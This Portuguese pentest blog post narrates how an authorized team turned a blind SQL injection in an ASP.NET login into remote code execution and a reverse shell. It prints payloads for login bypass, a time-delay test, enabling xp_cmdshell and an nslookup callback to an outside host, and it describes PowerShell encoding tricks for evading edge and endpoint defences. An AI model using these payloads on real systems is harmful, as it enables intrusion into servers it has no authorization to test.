O time de especialista da IBLISS Digital Security, em especial nosso time de Pentester, diariamente, vivência aventuras e casos interessantíssimos em diversos ambientes diferentes. 

E para dividir todo esse conhecimento, este é o primeiro artigo de uma série de materiais que vamos divulgar sobre alguns cases e histórias vividas pelo nosso time técnico, com insights, técnicas e “artimanhas” usadas (e desenvolvidas), sempre com o intuito de entregar um serviço que agregue valor para os nossos clientes e vise a redução de custo.

Vamos lá para nossa primeira aventura?!?

…Do Blind SQL Injection ao RCE, quando demos um bypass do NGFW ao EDR…

Em nossa mais recente aventura de Pentest [Teste de Intrusão] nos deparamos logo de cara com algo interessante na Aplicação Web.

Um painel de login onde a aplicação listava os usuários existentes em um select [HTML]

Analisando o código fonte da página é possível listar os usuários existentes e a partir dos headers da resposta conseguimos também identificar as tecnologias utilizadas (Microsoft-IIS/8.0, ASP.NET) o que confirmava a utilização de um Windows Server como servidor. 

Por lógica essas informações estavam sendo retornadas de algum banco de dados.

Na tentativa de realizar login na aplicação identificamos que os valores eram enviados via métodos POST

Então começamos a realizar fuzzing [payloads SQL Injection] nos parâmetros do usuário [Usuario] e senha [Senha], que resultou positivo para um provável SQL Injection (SQLi)

Ao utilizar o payload de escape ‘– identificamos que era possível acessar o painel administrativo da aplicação, ocasionando um bypass de autenticação. Os valores do parâmetro Senha poderiam ser ignorados com qualquer valor.

Então começamos a realizar fuzzing (payloads SQL Injection) nos parâmetros do usuário (Usuario) e senha (Senha), que resultou positivo para um provável SQL Injection (SQLi). 

Tentamos explorar de várias formas e técnicas, mas não havia nenhum retorno da aplicação, ou seja, o SQLi era do tipo Blind (cego). 

Na terra dos blind cegos…

Tentamos incansáveis técnicas e ferramentas a fim de automatizar a exploração, porém todas elas encontravam dificuldade para identificar a injeção. 

Realizamos várias tentativas com intuito de exfiltrar dados, mas percebemos que estávamos sendo barrados por uma proteção de borda (Firewall/IPS/IDS).  

Utilizamos o payload ’;WAITFOR DELAY ’0:0:5’– e percebemos que a aplicação estava suscetível a stacked queries (onde você pode fazer múltiplas consultas), fazendo com que a aplicação demore 5 segundos para responder. 

Baseado nas informações coletadas no cabeçalho da resposta sobre as tecnologias utilizadas e de acordo com o aceite da sintaxe dos payloads poderíamos presumir que a tecnologia utilizada como Banco de Dados se tratava do Microsoft SQL Server. 

Como é sabido o Microsoft SQL Server possui uma função xp_cmdshell, desabilitado por padrão, onde é possível executar comandos do sistema operacional. 

Enviamos o seguinte payload com o intuito de habilitar o xp_cmdshell: 

‘;EXEC sp_configure ‘xp_cmdshell’, 1\r\nRECONFIGURE\r\nGO– 

E para confirmar que o comando foi executado com sucesso enviamos algumas consultas de nslookup (consulta de DNS) como alvo o Burp Collaborator, assim percebemos que a aplicação estava suscetível a Execução Remota de Código (RCE). 

‘;EXEC master..xp_cmdshell ‘nslookup target.burpcollaborator.net’- 

Opaaaaaaa problema resolvido, vamos atrás da shell? Só que não!

Como havia bloqueios (proteção de borda e AV/endpoint) por parte da infraestrutura da aplicação não conseguimos avançar com mais execuções de comandos. 

Tentamos vários e vários payloads e ‘n’ técnicas e mesmo assim não obtivemos resultados. 

Como o SQLi era Blind a única forma de depuração era o ‘Bypass da Autenticação’, caso o payload [caracteres] funciona-se era realizado o login, caso contrário era apresentado erro de autenticação. 

Então identificamos que a aplicação não aceitava alguns caracteres, ou união deles, nas cargas que havíamos tentado.  

Tentamos realizar alguns escapes e aplicar técnicas de ofuscação, porém mesmo assim não houve resultados positivos. 

Conforme já confirmado o RCE utilizando xp_cmdshell, tivemos a ideia de invocar o PowerShell e enviar um comando encodado em base64. 

E ai…nos deparamos com outro dilema, não funcionava da forma esperada. 

Resolvemos analisar o payload inicial (comando powershell)… 

…e começamos a efetuar vários e vários ajustes e mesmo assim a frustração ainda continuava.

…quem tem um payload olho é rei

Resolvemos começar alguns testes em um ambiente controlado (laboratório).

E Opaaa ?? algo estranho no encode base64.

Identificamos que o base64 interpretado como comando do PowerShell era completamente diferente do que geramos no ambiente Linux, isso acontece pois o Windows utiliza UTF-16-LE (Little Endian). 

Diante do fato dos ambientes se comportarem de maneiras diferentes começamos uma nova saga para montar o payload correto. 

No ambiente de testes (laboratório), funcionava perfeitamente, porém na aplicação real não e novamente outra frustração. 

Parecia que algo estava filtrando e bloqueando o comportamento da execução de código. 

Voltamos novamente ao payload inicial e realizamos vários e vários ajustes e mesmo assim ainda não funcionava. 

Em uma breve leitura a documentação do PowerShell identificamos que o caractere de escape utilizado em sua sintaxe era o acento grave ( ` ), então tentamos escapar as variáveis `$  . 

Payload com escape de variáveis PowerShell (alterar IP_ATACANTE e PORTA_ATACANTE com seus devidos valores). 

Encodar o payload em base64 utilizando o PowerShell.

A carga útil final para explorar o SQLi com RCE [shell reversa] ficaria assim.

E BOOOOOOOOOM, Shell tá em casa \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/

A conclusão é que na maioria das vezes a persistência e uma pitada de criatividade pode fazer muita diferença 🙂

Por: Maycon Silva e Leandro Inácio

OBS: Observem que ocultamos todos os pontos de extremidade e outras informações identificáveis, pois a vulnerabilidade foi relatada como parte de um teste real de divulgação privada e a empresa afetada não deseja que nenhuma informação sobre seu ambiente ou essa descoberta seja publicada.